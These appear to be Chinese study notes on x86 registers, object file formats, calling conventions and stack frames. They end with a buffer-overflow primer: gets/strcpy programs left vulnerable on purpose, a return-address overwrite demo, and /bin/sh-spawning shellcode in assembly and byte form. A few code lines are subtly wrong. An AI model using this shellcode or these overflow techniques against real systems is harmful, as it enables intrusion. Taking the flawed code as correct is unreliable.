溢出类型

描述

栈溢出

向一个缓冲区写入数据时，大于了分配给它的内存大小。很有可能复写栈中的其它重要数据，进而破坏栈结构。通常是由于未检查用户输入数据造成的。

堆溢出

与栈溢出类似。这类溢出不易被恶意利用。

数组溢出

数组下标为负，或大于最大下标。

寄存器种类

8个32位的通用寄存器

6个16位的段寄存器/段选择器

FS、GS在Itel32中引入的

1个32位的的标志寄存器(EFLAGS)

1个32位的指令寄存器（EIP）

l  当前模块的数据

l  上层模块输出的数据

l  动态创建的数据

l  程序间共享的数据

寄存器

位

目的

CS

16

代码段寄存器。代码段基地址(.text 段)， 用于获取指令。

这些段寄存器用于将程序分成不同的部分。当程序执行时，各段的基地址赋给了段寄存器。通过段寄存和偏移量就可以操作程序的不同内存区域。

DS

16

数据段寄存器。 数据的默认基地址(.data 段)， 用于操作数据。。

ES

16

Extra段寄存器，用于字符串操作。

SS

16

栈段寄存器，栈段的基地址，配合SP, ESP, BP, EBP使用。

FS

16

通用的段寄存器

GS

16

内存模型

支持的地址

 flat 内存模型

near pointers (32 bits)

segmented内存模型

near pointers (32 bits)、far pointers (48 bits)

real-address模式内存模型

20bit bus

segment:offset

Flag

Bit

Purpose

CF

0

进位标志。算术操作中，如果最高位发生进位或借位则被设置上，否则清空。该标志指示了无符号整型变量，在算术运算时的溢出情况。它也可用于多精度算术运算。

PF

2

Parity flag.  Set if the least-significant byte of the result contains an even number of 1 bit, cleared otherwise.

AF

4

Adjust flag.  Set if an arithmetic operation generates a carry or a borrow out of bit 3 of the result, cleared otherwise.  This flag is used in Binary-Coded-Decimal (BCD) arithmetic.

ZF

6

Zero flag.  Set if the result is zero, cleared otherwise.

SF

7

Sign flag.  Set equal to the most-significant bit of the result, which is the sign bit of a signed integer.  0 indicates a positive value, 1 indicates a negative value.

OF

11

Overflow flag.  Set if the integer result is too large a positive number or too small a negative number, excluding the sign bit, to fit in the destination operand, cleared otherwise.  This flag indicates an overflow condition for signed-integer that is two’s complement arithmetic.

Register

size (bits)

Purpose

IP/EIP

16/32

保存下一条要执行的指令的地址。

Control Register

Description

CR0

控制标识，用于控制处理器的执行模式与状态。

CR1

保留

CR2

包含产生缺页的线性地址。

CR3

包含页目录的基址（物理地址）和两个标识(PCD and PWT)。也叫：页目录基址寄存器(PDBR)。 只有页目录基址只有高20位被指定，低12位设定为0。

When using the physical address extension, the CR3 register contains the base address of the page-directory-pointer table.

CR4

Contains a group of flags that enable several architectural extensions.  In protected mode, the move-to-or-from-control-registers forms of the MOV instruction allow the control registers to be read (at any privilege level) or loaded (at privilege level 0 only). This restriction means that application programs (running at privilege levels 1, 2, or 3) are prevented from loading the control registers; however, application programs can read these registers.

Big Endian

Little Endian

高位à低地址

高位à高地址

CD12AB90H

CD12AB90H

Instruction Category

Meaning

Example

Data Transfer

move from source to destination

mov, lea, les, push, pop, pushf, popf

Arithmetic

arithmetic on integers

add, adc, sub, sbb, mul, imul, div, idiv, cmp, neg, inc, dec, xadd,

cmpxchg

Floating point

arithmetic on floating point

fadd, fsub, fmul, div, cmp

Logical, Shift, Rotate and Bit

bitwise logic operations

and, or, xor, not, shl/sal, shr, sar, shld and  shrd,  ror, rol, rcr and rcl

Control transfer

conditional and unconditional jumps, procedure calls

jmp, jcc, call, ret, int, into, bound.

String

move, compare, input and output

movs, lods, stos, scas, cmps, outs, rep, repz, repe, repnz, repne, ins

I/O

输入输出

in, out

Conversion

汇编数据类型转换

movzx, movsx, cbw, cwd, cwde, cdq, bswap, xlat

Miscellaneous

manipulate individual flags, provide special processor services, or handle privileged mode operations

clc, stc, cmc, cld, std, cl, sti

Object File Format

Description

a.out

a.out格式是UNIX最初的执行文件格式。它由一部分组成：text, data, 和bss，分别表示代码, 已初始化数据, 和未初始化数据。 不包含调试信息。

COFF

COFF (Common Object File Format) 格式由System V Release 3 (SVR3) Unix引入。 COFF 可以有多个部分，每部分以一下特定的header作为前缀，数量受限。支持调试，但调试信息有限。

ECOFF

COFF的变种。  ECOFF 为 Mips and Alpha 工作站设计.

XCOFF

XCOFF (eXtended COFF)，COFF sections, symbols, and line numbers are used， 调试信息保存在.debug section (rather than the string table).  The default name for an XCOFF executable file is a.out.

PE

PE(Portable Executable) 是由 COFF 和其它一些头信息构成。Windows 9x and NT使用PE做执行文件的格式。

ELF

ELF (Executable and Linking Format) 格式由 System V Release 4 (SVR4) Unix引入。  ELF与 COFF 相似，但没有COFF的一些限制。 ELF 被用于现代UNIX系统、GNU/Linux, Solaris 和Irix。也用于一些嵌入式系统。

SOM/ESOM

SOM (System Object Module) and ESOM (Extended SOM) is HP‘s object file and debug format

l  代码

l  数据

l  动态链接信息

l  调试信息

l  符号表

l  重定位信息

l  注释

l  字符串表

l  Note

Section

Description

.text

包含程序指令，该程序的所有进程共享此部分。READ, EXECUTE权限。

.bss

BSS（Block Started by Symbol）包含未初始化的全局变量与静态变量。 因为BSS包含的变量没有值，所有该部分并没有保存变量的映像，只是在对象文件中记录了运行时该部分需要的内存大小。也就是说，.BSS并没有占用实际的对象文件空间。

.data

包含已初始化的全局变量与静态变量，以及值。 该部分往往是可执行文件中最大的。READ/WRITE权限。

.rdata

也叫做.rodata (read-only data) section. 包含常量与字符串常量。

.reloc

保存在加载时，重定位映像所需要的信息。

Symbol table

符号表：也就是变量/函数名，及其定义地址（相对于段的偏移量）。 包含定位程序符号引用与定义时，所需要的信息。

Relocation records

Relocation 是连接符号引用与定义的过程。 relocation records用于链接器调整section内容。

gcc -static filename.c -o executable-filename

 //从低到高

.init - Startup

.text - String

.fini - Shutdown

.rodata - Read Only

.data - Initialized Data

.tdata - Initialized Thread Data

.tbss - Uninitialized Thread Data

.ctors - Constructors

.dtors - Destructors

.got - Global Offset Table

.bss - Uninitialized Data

1)  分配主存

2)   将地址空间从辅存复制到主存

3)   复制.text, .data 段到主存

4)   复制程序参数（如：命令行参数）到堆栈

5)   初始化寄存器：设置ESP指向栈顶，清空其它。

6)   跳到启动点：复制main()的参数，跳到main()函数。

区域

描述

Code/text segment

text段，保存指令，对应执行文件中的text section。任何时候，一个程序的指令在内存中只有一份。

Initialized data – data segment

包含初始化为非0值的静态变量和全局变量，对应执行文件中的data section。同一程序的每个进程拥有单独的data段。

Uninitialized data – bss segment

BSS 表示‘Block Started by Symbol’.  包含初始化为0值的静态变量和全局变量。进程私有。在ELF格式中，只有非0值变量才占用可执行文件的空间。

Heap

动态内存区域，由malloc(), calloc(), realloc() and new – C++等进行分配，并通过指针来操作。 紧随bss段，Heap结束位置由break指令标记，大小可以通过brk(), sbrk()进行扩展（改变break指针）。向地址增大方向增长。

Stack

栈段保存局部非静态变量，如：局部非静态变量，临时信息与数据，函数参数，返回地址。当前调用函数时，对需要的信息进行压栈，返回时弹出栈。 向地址减小方向增长（与Heap相反）。

Executable file section

(disk file)

Address space segment

Program memory segment

.text

Text

Code

.data

Data

Initialized data

.bss

Data

BSS

-

Data

Heap

-

Stack

Stack

global_variables;

int main(int argc, char *argv[])

{

  function_name(argument list);

  function_return_address here

}

return_type function_name(parameter list)

{

  local_variables;

  static variables;

  function’s code here

  return something_or_nothing;

}

keyword

Stack cleanup

Parameter passing

__cdecl

caller

函数参数从右到左进行压栈，调用者清栈。这是C/C++的默认调用方式。__cdecl调用方式产生的执行文件比__stdcall产生的要大，因为每个函数都需要清栈代码。但支持变长参数列表。

__stdcall

callee

也叫做 __pascal。 函数参数从右到左进行压栈，被调用者清栈，需要一个函数原型（？）。Win32 API函数的标准调用方式（WINAPI）。

__fastcall

callee

参数优先考虑通过寄存器传递，其次是栈，被调用者清栈。最开头的两个<=32bit的参数分别由ECX, EDX传递，其它的按右到左的顺序压栈。

Thiscall

callee

C++成员函数的调用方式。压栈顺序从右到左，this指针由ECX传递。对于带可变参数列表的的成员函数，this指针的传递方式不同，this指针最后入栈。被调用者清栈。

// Borland and Microsoft

void __cdecl TestFunc(float a, char b, char c);  

// GNU GCC

void  TestFunc(float a, char b, char c)  __attribute__((cdecl)); 

/* example of __cdecl */

push arg1

push arg2

call function

add ebp, 12   ;stack cleanup

/* example of __stdcall */

push arg1

push arg2

call function

/* no stack cleanup, it will be done by caller */

Calling convention

extern "C" or .c file

.cpp, .cxx

Remarks

__cdecl

_TestFunc

?TestFunc@@ZAXXZ

参数数目并不重要，因为调用者负责创建和销毁栈。

__fastcall

@TestFunc@N

?TestFunc@@YIXXZ

N—参数的byte数，0表示void。

__stdcall

_TestFunc@N

?TestFunc@@YGXXZ

N—参数的byte数，0表示void。

Function declaration/prototype

Decorated name

void __cdecl   TestFunc(void);

_TestFunc

void __cdecl   TestFunc(int x);

_TestFunc

void __cdecl   TestFunc(int x, int y);

_TestFunc

void __stdcall   TestFunc(void);

_TestFunc@0

void __stdcall   TestFunc(int x);

_TestFunc@4

void __stdcall   TestFunc(int x, int y);

_TestFunc@8

void __fastcall   TestFunc(void);

@TestFunc@0

void __ fastcall   TestFunc(int x);

@TestFunc@4

void __ fastcall   TestFunc(int x, int y);

@TestFunc@8

Register

Description

ESP – Stack Pointer

通过PUSH, POP, CALL,RET来修改，总是指向当前栈的栈顶。

EBP – Base Pointer

也叫做： Frame Pointer.  直接通过偏移量操作参数与局部变量。

EIP – Instruction Pointer

下一条指令的地址。

指令

描述

PUSH

*--SP = src.

POP

dst = *SP++

PUSHAD

将通用寄存器值入栈。

POPAD

将通用寄存器值出栈。

PUSHFD

将EFLAGS寄存器值入栈。

POPFD

将EFLAGS寄存器值出栈。

#include <stdio.h>

 //MyFunc(7, ‘8’);

int MyFunc(int parameter1, char parameter2)

{

int local1 = 9;

char local2 = ‘Z’;

return 0;

}

;in main

    MyFunc(7, ‘8‘);

01281B1E  push        38h         ; ‘8’入栈, 从右往左入栈

01281B20  push        7            ;  7入栈

01281B22  call        @ILT+460(_MyFunc) (12811D1h)  ;调用函数，函数返回地址(EIP：01281B27 )入栈

01281B27  add         esp,8       ; 将MyFunc函数栈清空

@ILT+460(_MyFunc):    ;函数修饰名

12811D1 jmp         MyFunc (01281490h) 

int MyFunc(int parameter1, char parameter2)

{

01281490  push        ebp       ;保存调用者的EBP，位于MyFunc的[EBP+0]位置

01281491  mov         ebp,esp   ;ESP的值成为MyFunc的EBP值，ESP,EBP指向相同位置。

01281493  sub         esp,0D8h  ;减去216字节，为变量和缓冲区分配空间。ESP位于[EBP-216]的位置

01281499  push        ebx        ;push ebx        at [EBP-220]

0128149A  push        esi        ;push esi        at [EBP-224] 

0128149B  push        edi        ;push edi        at [EBP-228]

//...

    return 0;

012814B9  xor         eax,eax    ;清空EAX,返回值为0

}

012814BB  pop         edi         ;恢复edi         from [EBP-228]

012814BC  pop         esi         ;恢复esi         from [EBP-224] 

012814BD  pop         ebx         ;恢复ebx         from [EBP-220] 

012814BE  mov         esp,ebp    ;清空局部变量与缓冲区空间，ESP, EBP指向相同位置

012814C0  pop         ebp         ;恢复调用者的EBP

012814C1  ret                      ;将返回地址(01281B27H)从栈(MyFunc的[EBP+4]位置)载入EIP中,

                                     ;执行后继指令

//back to  main

01281B27  add         esp,8       ; 清空函数参数，7和’8’共8byte（参数都扩充为了4byte）

重要数据结构

栈地址

函数最左边的参数

[EBP+8]

函数返回地址/旧EIP

[EBP+4]

旧栈帧指针/旧EBP

[EBP+0]

第一个局部变量

[EBP-4]

EBX, ESI, EDI

ESP, ESP-4, ESP-8

int main(int argc, char *argv[ ])

{

        char buffer[12];

        strcpy(buffer, argv[1]);

        return 0;

}

void hello()

{

    printf("hello\n");

    return ;

}

void *(int a,int b)

{

    int buf[2] = {1,2};

    int *p;

    p = &a - 1;      //函数返回地址

    *p = (int)hello;

    return ;

}

int main(void)

{

    *(1, 2);

    getchar();

    return EXIT_SUCCESS;  

}

//

// 运行结果： hello

//

push ebx

push esi

push edi

; here should be codes that uses

; the EBX, ESI and EDI

;

pop edi

pop esi

pop ebx

ret

Steps

32-bit code/platform

创建标准栈帧，为局部变量与缓冲区分配32byte的空间。保存寄存器值。

push ebp

mov  ebp, esp

sub  esp, 0x20

push edi

push esi

...

恢复寄存器值，销毁标准栈帧

...

pop esi

pop edi

mov esp, ebp

pop ebp

ret

栈的宽度

32 bits

栈帧槽的位置

...

[ebp + 12]

[ebp + 8]

[ebp + 4]

[ebp + 0]

[ebp – 4]

...

Size

32-bit code/platform

8-bit return value

AL

16-bit return value

AX

32-bit return value

EAX

64-bit return value

EDX:EAX

128-bit return value

hidden pointer

/* test buffer program */

#include <unistd.h>

void Test()

{

   char buff[4];

   printf("Some input: ");

   gets(buff);

   puts(buff);

}

int main(int argc, char *argv[ ])

{

   Test();

   return 0;

}

#a very simple assembly (AT&T/Linux) program for spawning a shell

.section .data

.section .text

.globl _start

_start:

         xor %eax, %eax

         mov $70, %al           #setreuid is syscall 70

         xor %ebx, %ebx

         xor %ecx, %ecx

         int $0x80

         jmp ender

         starter:

         popl %ebx              #get the address of the string

         xor  %eax, %eax

         mov  %al, 0x07(%ebx)   #put a NULL where the N is in the string

         movl %ebx, 0x08(%ebx)  #put the address of the string

                                #to where the AAAA is

         movl %ebx, 0x0c(%ebx)  #put 4 null bytes into where the BBBB is

         mov $11, %al           #execve is syscall 11

         lea 0x08(%ebx), %ecx   #load the address of where the AAAA was

         lea 0x0c(%ebx), %edx   #load the address of the NULLS

         int $0x80              #call the kernel

ender:

         call starter

         .string "/bin/shNAAAABBBB"

#include <unistd.h>

int main(int argc, char*argv[ ])

{

   char *shell[2];

   shell[0] = "/bin/sh";

   shell[1] = NULL;

   execve(shell[0], shell, NULL);

   return 0;

}

char shellcode[ ] = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50

                         \x53\x89\xe1\x99\xb0\x0b\xcd\x80";

.section .data

#only use register here...

.section .text

.globl _start

jmp      dummy

_start:

         #pop register, so we know the string location

         #Here we have assembly instructions which will use the string

dummy:

         call     _start

.string "Simple String"